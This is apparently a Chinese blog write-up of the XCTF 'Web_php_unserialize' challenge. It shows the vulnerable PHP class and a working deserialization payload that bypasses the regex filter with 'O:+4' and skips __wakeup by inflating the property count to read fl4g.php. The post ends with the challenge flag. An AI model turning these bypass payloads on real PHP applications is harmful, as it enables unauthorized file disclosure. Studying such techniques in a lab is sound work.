攻防世界-web-Web_php_unserialize

还是反序列化问题,先看题目

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

__wakeup函数可以知道,是关于wakeup绕过问题。可以构造
O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
但是有一个if判断,正则匹配,o:数字:,这样的会被匹配上。所以要把正则匹配给绕过,这里用的方法是在4前面加一个+
但是这里有个问题,我们虽然能够从phpecho出序列化之后的字符串,但是由于对象的属性是private,所以实际上Demofile%00Demo%00file但是%00又显示不出来,所以我们直接在php代码里面对需要替换的数字进行替换。

$obj = new Demo('fl4g.php');
$str = serialize($obj);//序列化
$str = str_replace('O:4', 'O:+4',$str);//替换4
$str = str_replace(':1:', ':2:',$str);//替换1
$result = base64_encode($str);//需要base64加密,因为源代码会对get过来的参数先进行base64解密。

最后构造?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag

<?php
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值